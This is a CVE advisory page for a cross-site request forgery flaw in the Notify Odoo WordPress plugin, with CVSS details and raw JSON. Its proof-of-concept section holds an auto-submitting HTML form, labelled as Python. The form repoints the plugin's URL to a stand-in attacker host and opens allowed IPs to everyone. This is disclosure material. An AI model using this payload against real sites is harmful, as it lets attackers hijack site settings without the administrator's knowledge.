Security Vulnerability Report
中文
CVE-2026-8425 CVSS 4.3 MEDIUM

CVE-2026-8425

Published: 2026-05-15 09:16:18
Last Modified: 2026-05-15 09:16:18

Description

The Notify Odoo plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0.1. This is due to missing or incorrect nonce validation on the _updateSettings function. This makes it possible for unauthenticated attackers to change the Notify Odoo URL to an attacker-controlled URL and modify notification, tracking image, and allowed IP address settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Notify Odoo plugin <= 1.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<html> <body> <!-- CSRF PoC for CVE-2026-8425 --> <!-- Attacker constructs a malicious page to trick admin --> <form action="http://target-site/wp-admin/admin.php?page=notify-odoo-settings" method="POST"> <input type="hidden" name="notify_odoo_url" value="http://attacker-controlled-url.com" /> <input type="hidden" name="tracking_image" value="malicious_tracking" /> <input type="hidden" name="allowed_ips" value="0.0.0.0/0" /> <input type="submit" value="Click me for Prize" /> </form> <script> // Auto-submit to maximize chance of success if user just visits document.forms[0].submit(); </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-8425", "sourceIdentifier": "[email protected]", "published": "2026-05-15T09:16:17.807", "lastModified": "2026-05-15T09:16:17.807", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Notify Odoo plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0.1. This is due to missing or incorrect nonce validation on the _updateSettings function. This makes it possible for unauthenticated attackers to change the Notify Odoo URL to an attacker-controlled URL and modify notification, tracking image, and allowed IP address settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/notify-odoo/tags/1.0.1/Controller/Adminhtml/No/Settings.php#L46", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/notify-odoo/tags/1.0.1/Controller/Adminhtml/No/Settings.php#L9", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/notify-odoo/tags/1.0.1/view/adminhtml/templates/no/settings.php#L54", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/notify-odoo/trunk/Controller/Adminhtml/No/Settings.php#L46", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/notify-odoo/trunk/Controller/Adminhtml/No/Settings.php#L9", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/notify-odoo/trunk/view/adminhtml/templates/no/settings.php#L54", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3531377%40notify-odoo&new=3531377%40notify-odoo&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ccaba382-7fe8-4197-bec4-87c35d9a7a81?source=cve", "source": "[email protected]"}]}}